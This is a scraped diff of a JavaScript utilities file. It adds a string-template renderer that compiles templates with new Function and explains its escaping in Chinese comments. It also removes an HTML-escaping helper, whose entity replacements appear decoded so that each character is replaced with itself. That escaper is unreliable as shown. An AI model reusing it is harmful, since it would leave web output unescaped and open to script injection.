code += (opts.escape ? `str.push(${escapeName}(String(${fragment}), "${opts.escape}"));\n` : `str.push(${fragment});\n`);
|
|
404
|
+
}
|
|
405
|
+
}
|
|
406
|
+
else {
|
|
407
|
+
//fragment可能自带单引号或双引号,需要转意,避免与push("xxx")语句冲突
|
|
408
|
+
//js语句不能直接文本换行,所以也需要转意换行符
|
|
409
|
+
//换行转意的另外一个意义是,保持原文本的换行,因为在toSingleLine中会删除所有物理换行以确保代码可被执行
|
|
410
|
+
code += (fragment !== '' ? 'str.push("' + fragment.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n').replace(/\r/g, '\\r') + '");\n' : '');
|
|
411
|
+
}
|
|
412
|
+
return add;
|
|
413
|
+
};
|
|
414
|
+
while (match = tplReg.exec(html)) {
|
|
415
|
+
add(html.slice(cursor, match.index))(match[1], true);
|
|
416
|
+
cursor = match.index + match[0].length;
|
|
417
|
+
}
|
|
418
|
+
add(html.slice(cursor));
|
|
419
|
+
code += `return str.join('');`;
|
|
420
|
+
//一行行化代码
|
|
421
|
+
//如果文本"XXX (换行)",js执行会报错,所以需要清理换行
|
|
422
|
+
code = toSingleLine(code);
|
|
423
|
+
try {
|
|
424
|
+
if (opts.strict || dataType === 'Array') {
|
|
425
|
+
//严格模式,或者是数组数据,则必须使用this
|
|
426
|
+
result = new Function(escapeName, code).apply(data, [escapeHTML]);
|
|
427
|
+
}
|
|
428
|
+
else {
|
|
429
|
+
////非严格模式,且是对象,则可省略this
|
|
430
|
+
let keys = Object.keys(data), values = Object.values(data),
|
|
431
|
+
//keys传参,可直接以key为值,this依然可指向data
|
|
432
|
+
tmp = new Function(...keys, escapeName, code).bind(data);
|
|
433
|
+
//执行时以value赋值
|
|
434
|
+
result = tmp(...values, escapeHTML);
|
|
435
|
+
}
|
|
436
|
+
}
|
|
437
|
+
catch (err) {
|
|
438
|
+
console.error(`'${err.message}'`, ' in \n', code, '\n');
|
|
439
|
+
}
|
|
440
|
+
return result;
|
|
284
441
|
};
|
|
285
442
|
|
|
286
443
|
const setMutableMethods = ['add', 'delete', 'clear'];
|
|
@@ -1171,19 +1328,6 @@ const trimEmptyLines = (str) => {
|
|
|
1171
1328
|
return str.replace(/^\s*\n|\n\s*$/g, '') || '';
|
|
1172
1329
|
};
|
|
1173
1330
|
|
|
1174
|
-
const escapeHtmlChars = (text) => {
|
|
1175
|
-
// Check if the input text is empty or undefined
|
|
1176
|
-
if (!text)
|
|
1177
|
-
return '';
|
|
1178
|
-
// Replace the special characters with their corresponding HTML entities
|
|
1179
|
-
return text
|
|
1180
|
-
.replace(/&/g, '&') // Replace '&' with '&'
|
|
1181
|
-
.replace(/</g, '<') // Replace '<' with '<'
|
|
1182
|
-
.replace(/>/g, '>') // Replace '>' with '>'
|
|
1183
|
-
.replace(/"/g, '"') // Replace '"' with '"'
|
|
1184
|
-
.replace(/'/g, '''); // Replace "'" with '''
|
|
1185
|
-
};
|
|
1186
|
-
|
|
1187
1331
|
const decodeHtmlEntities = (text) => {
|
|
1188
1332
|
// Check if the input text is empty or undefined
|
|
1189
1333
|
if (!text)
|
|
@@ -1231,8 +1375,12 @@ const utils = {
|
|
|
1231
1375
|
parseLLMStream,
|
|
1232
1376
|
toKebabCase,
|
|
1233
1377
|
trimEmptyLines,
|
|
1234
|
-
escapeHtmlChars,
|
|
1235
1378
|
decodeHtmlEntities,
|
|
1379
|
+
escapeCharsMaps,
|
|
1380
|
+
escapeRegexMaps,
|
|
1381
|
+
escapeHTML,
|
|
1382
|
+
toSingleLine,
|
|
1383
|
+
renderTpl,
|
|
1236
1384
|
};
|
|
1237
1385
|
|
|
1238
1386
|
export { utils as default };
|